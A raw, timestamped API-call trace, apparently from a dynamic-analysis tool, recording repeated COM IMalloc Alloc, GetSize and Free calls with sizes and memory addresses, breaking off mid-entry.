[0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04940 [0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04430 [0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb040a0 [0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04850 [0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04a00 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb045b0 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829e30 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829eb0 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb049a0 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04220 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb04550 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb04580 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a6b0 [0109.861] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829d70 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03fe0 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb040d0 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a0b0 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb04130 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb04520 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04310 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04610 [0109.862] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb049d0 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04160 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04070 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03fb0 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04ac0 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04280 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829ab0 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829770 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a370 [0109.863] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a470 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04a90 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb042b0 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb046a0 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04370 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829bb0 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829870 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03ef0 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb047c0 [0109.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb047f0 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04460 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03f50 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04640 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03f80 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04400 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb043a0 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04a30 [0109.865] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb043d0 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb044f0 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb04670 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb046d0 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04700 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04760 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04820 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a130 [0109.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829fb0 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04790 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04880 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb048b0 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04910 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04be0 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b8299f0 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a030 [0109.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8297b0 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829ff0 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb056c0 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04fa0 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04d00 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04bb0 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05000 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb051e0 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x36) returned 0x2764b82a070 [0109.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x36) returned 0x2764b8297f0 [0109.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a2b0 [0109.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a4b0 [0109.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05450 [0109.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05210 [0109.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb051b0 [0109.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb05240 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04eb0 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05600 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04c10 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04e80 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05180 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05570 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04c40 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04b80 [0109.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04d30 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05270 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05060 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05540 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb054e0 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb04f10 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb052a0 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04cd0 [0109.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04e20 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04fd0 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb05510 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6d80 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04ee0 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb054b0 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04d60 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x36) returned 0x2764b8298b0 [0109.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x36) returned 0x2764b8298f0 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a3b0 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a1b0 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829c70 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50bcb0 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0109.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6da0 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d71e0 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7380 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7480 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7220 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7280 [0109.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7740 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7460 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7400 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d74a0 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d75a0 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d70a0 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7620 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7100 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7120 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6fc0 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7340 [0109.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d74c0 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7140 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7540 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d70c0 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6fe0 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d72a0 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7200 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7580 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d75c0 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7000 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7600 [0109.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d71a0 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7640 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7660 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7180 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7240 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7260 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d72c0 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7300 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7680 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7360 [0109.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76a0 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76c0 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6f80 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7020 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7040 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b20 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d79c0 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c40 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7cc0 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ce0 [0109.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7900 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b40 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e20 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c60 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d60 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b60 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7dc0 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e80 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e60 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ea0 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7960 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a20 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d40 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c80 [0109.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7780 [0109.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7920 [0109.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a40 [0109.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ec0 [0109.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d20 [0109.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d80 [0109.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7bc0 [0109.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7880 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7f00 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d77a0 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7f20 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7da0 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7de0 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7f40 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d78c0 [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7940 [0109.881] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7940) returned 0x18 [0109.881] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7940) [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092e0 [0109.881] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) returned 0x8 [0109.881] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) [0109.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0109.881] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0109.882] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0109.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a60 [0109.882] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) returned 0x10 [0109.882] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) [0109.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb053c0 [0109.882] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb053c0) returned 0x20 [0109.882] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb053c0) [0109.882] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829bf0 [0109.882] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b829bf0) returned 0x30 [0109.883] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bf0) [0109.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b882f50 [0109.883] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882f50) returned 0x48 [0109.883] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882f50) [0109.883] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e40 [0109.883] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e40) returned 0x10 [0109.884] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e40) [0109.884] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0109.884] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0109.885] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0109.885] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7be0 [0109.885] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) returned 0x10 [0109.886] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) [0109.886] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0109.886] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0109.886] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0109.887] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d79e0 [0109.887] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d79e0) returned 0x10 [0110.033] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d79e0) [0110.033] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e30 [0110.033] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e30) returned 0x8 [0110.033] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e30) [0110.033] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7980 [0110.033] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) returned 0x10 [0110.035] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) [0110.035] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08de0 [0110.035] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08de0) returned 0x8 [0110.036] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08de0) [0110.036] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ba0 [0110.036] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) returned 0x10 [0110.040] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) [0110.040] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d90 [0110.040] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) returned 0x8 [0110.044] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) [0110.044] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d00 [0110.044] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7d00) returned 0x10 [0110.045] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d00) [0110.045] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ea0 [0110.045] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ea0) returned 0x8 [0110.047] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ea0) [0110.047] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ba0 [0110.047] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) returned 0x10 [0110.050] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) [0110.050] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b90 [0110.050] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b90) returned 0x8 [0110.054] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b90) [0110.054] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ac0 [0110.054] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ac0) returned 0x10 [0110.055] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ac0) [0110.055] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ca0 [0110.055] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ca0) returned 0x8 [0110.056] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ca0) [0110.056] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c00 [0110.057] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c00) returned 0x10 [0110.058] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c00) [0110.058] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c50 [0110.058] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c50) returned 0x8 [0110.059] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c50) [0110.059] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08cf0 [0110.059] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08cf0) returned 0x8 [0110.060] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08cf0) [0110.060] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d77c0 [0110.060] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d77c0) returned 0x10 [0110.061] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d77c0) [0110.061] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c50 [0110.061] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c50) returned 0x8 [0110.062] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c50) [0110.062] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7840 [0110.062] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) returned 0x10 [0110.063] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) [0110.063] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d20 [0110.063] IMalloc:GetSize (This=0x7ff9e7edf3f0, 